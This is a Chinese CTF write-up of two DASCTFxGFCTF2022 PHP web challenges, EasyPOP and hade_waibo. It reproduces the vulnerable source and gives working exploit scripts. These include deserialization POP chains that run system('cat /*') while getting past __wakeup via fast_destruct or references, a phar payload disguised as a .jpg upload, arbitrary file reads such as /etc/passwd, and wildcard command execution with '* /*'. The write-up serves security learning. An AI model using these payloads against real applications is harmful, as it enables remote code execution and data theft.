最近打的几场比赛,质量都比较高,学到了很多新东西

DASCTFxGFCTF2022 EasyPOP

学到的新东西:fast_destruct 构造提前执行 __destruct

有关可以参考 https://wh1tecell.top/2021/11/11/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bfast-destruct/

类似于绕过 __wakeup 的方法,但题目的php版本无法用增加属性的方式反序列化(但实际上是可以的,改属性也会 fast_destruct,导致反序列化 “失败”,提前执行 __destruct

常规pop链构造

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}

pop链子

sorry:__destruct() -> show:__toString() -> secret_code:call() -> secret_code:show() ->
sorry:__get -> fine : __invoke

我的exp,**依旧是利用 CVE-2016-7124__wakeup,但实际上这题的php版本无法利用这个CVE,但我的payload却能打出,实际上这里更改属性就是用了所谓的 fast_destruct,使得php反序列化 “失败” (反序列化执行了一半),提前执行了 __destruct,从而绕过了 __wakeup **

这里官方 wp 还写了怎么绕这个 $a->setPassword(md5(mt_rand())); ,其实并不需要,前面也说过了,你绕这个 __wakeup 就会提前执行 __destruct,并不会被外界修改,直接反序列化给他俩一样的值就行。

当然这里也学到了点 我们需要确保 password 和 name 的值相等, 可以利用 php 的对象达到⼀个 永真表达式:

$this->name = "jay";
$this->password = &$this->name;
//可以理解为 password 和 name 指向同⼀个地址(类似指针)
//当password 的值改变时 name的值随之更改

这个点在后面的 hade_waibo 题用到了。

<?php

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
}

class show
{
    public $ctf;

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }

}

class sorry
{
    private $name;
    private $password;
    public $hint;
    public $key;

    public function __construct($name, $password, $h, $key)
    {
        $this->name = $name;
        $this->password = $password;
        $this->hint = $h;
        $this->key = $key;
    }

}

class secret_code
{
    protected $code;
    function __construct($code)
    {
        $this->code = $code;
    }
    
}

$key = new fine("system", "cat /*");
$code = new sorry('','','',$key);
$ctf = new secret_code($code);
$h = new show($ctf);
$hint = new sorry("jay", "jay", $h, '');
$ser = serialize($hint);
//两种方法都能执行 绕过 __wakeup ,直接执行 __destruct
$ser = str_replace('"fine":2', '"fine":3', $ser);
// $ser = str_replace('"key";s:0:"";}', '"key";s:0:"";', $ser);
echo urlencode($ser);

image-20221025220411154

DASCTFxGFCTF2022 hade_waibo

当时非预期出的:直接读 /start.sh 里面有 flag 名,然后直接读 flag(出题记得把配置文件删掉啊)

/file.php?m=show&filename=/ect/passwd 可以任意文件读取,直接读源码审计

重点部分的源码

class.php

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #更新黑名单为白名单,更加的安全
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

index.php 关键部分

<?php
error_reporting(0);
session_start();
include 'class.php';

if(isset($_POST['username']) && $_POST['username']!=''){
	#修复了登录还需要passwd的漏洞
	$user = new User($_POST['username']);
}

可以发现可以上传 phar 文件,利用 phar 反序列化来触发 Test 类中的后门函数从而执行任意命令,但发现执行命令这部分不仅有 __wakeup 的限制,还有 waf 的限制,执行的命令不能匹配正则 [A-Za-z0-9?$@]+

首先看如何利用有限的字符执行命令

前置知识

linux中的执行命令 * ;输入统配符 ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数*

image-20221025233112457

如上 创建一个 名为cat 的文件和名为 dd 的文件(内容为 test string),那么输入 * 就等价于 cat dd

注意:* 执行的命令顺序是按 ls 的顺序排的,即默认是空格最先,然后特殊符号,其次数字,最后按a-z字母

同时发现 Test 类中

public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
}

如果能执行这个 __toString 写一个名为 cat 的文件,那么执行 * /* 就可以读取跟目录下的文件了(上传的文件的名称以 d 开头,cat 首字母在 d 前,所以上传的文件不影响)

过了命令执行那么就要考虑如何利用pop链来触发 __toString 和绕过 __wakeup

第一步

首先是利用 __toString 写个名为 cat 的文件,现在是如何触发这个 __toString

找了一圈发现只有 User 类中的 __destruct 可以 ,利用 phar 反序列化让 $this->username = new Test() ,利用$this->username == '' 字符串比较,从而触发 __toString,但发现 User 类中有个 __wakeup ,当用户名长度在 1~6 直接就会把 $this->username 赋值回字符串。

这里好办,他现在用户名长度只是前端限制了,直接抓包把用户名改到6字符以上,这样 $_SESSION['username'] 长度就不满足 $cklen != 0 and $cklen <= 6 ,绕过 __wakeup 的这个if。

<?php

class User
{
    public $username;
}

class Test
{
    public $value;
}

@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

//第一步 写入名为cat的文件
$t = new Test();
$user = new User();
$user->username = $t;
echo serialize($user);
$phar->setMetadata($user); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");

以6字符以上的用户名登录,上传 phar.jpg (注意上传phar文件不能经过burp的代理,会改变文件编码),写 cat

第二步

写好 cat 文件,然后就是反序列化触发 Test 类中的 __destruct,但Test 类中还有个 __wakeup

class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }
}

所以要绕过这个 __wakeup 的限制。由于题目给的 php 的版本是 7.4.5 ,没法利用 CVE-2016-7124 来绕过 __wakeup ,带想想其他办法。

这里可以利用php中引用的特性反序列化栈的执行顺序来绕过这个 __wakeup 的限制。

php反序列化是顺序执行的,对属性赋值 是最优先的,然后才是调用 __wakeup ;最后销毁对象 调用__destruct 也是先从最外层执行。

利用这个可以 可以将 Test 的对象赋值给 User 对象的一个属性,然后让 User 的对象中的 $username 指向 Test 的对象中的 value 属性(利用引用)。这样反序列化,按上面说的会先给 User 的对象赋值,这里所赋的值中又有 Test 的对象,所以会先执行 Test__wakeup,然后再执行 User__wakeup。可以看到 User 类里的 __wakeup

public function __wakeup(){
    $cklen = strlen($_SESSION["username"]);
    if ($cklen != 0 and $cklen <= 6) {
        $this->username = $_SESSION["username"];
    }
}

这里 $this->usernameTest 的对象中 $value 属性的引用,所以更改 $this->username 就等同于修改 $value$_SESSION['username'] 是用户名,可控,我们改成 * /*就可以了。

<?php

class User
{
    public $username;
}

class Test
{
    public $value;
}

@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

//第一步 写入名为cat的文件
// $t = new Test();
// $user = new User();
// $user->username = $t;
// echo serialize($user);
// $phar->setMetadata($user); //将自定义的meta-data存入manifest

//第二步 绕过限制给Test的对象的value赋值为 * /*
$t = new Test();
$user = new User();
$user->t = $t;
$user->username = &$t->value;
echo serialize($user);
$phar->setMetadata($user); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");

image-20221026121639190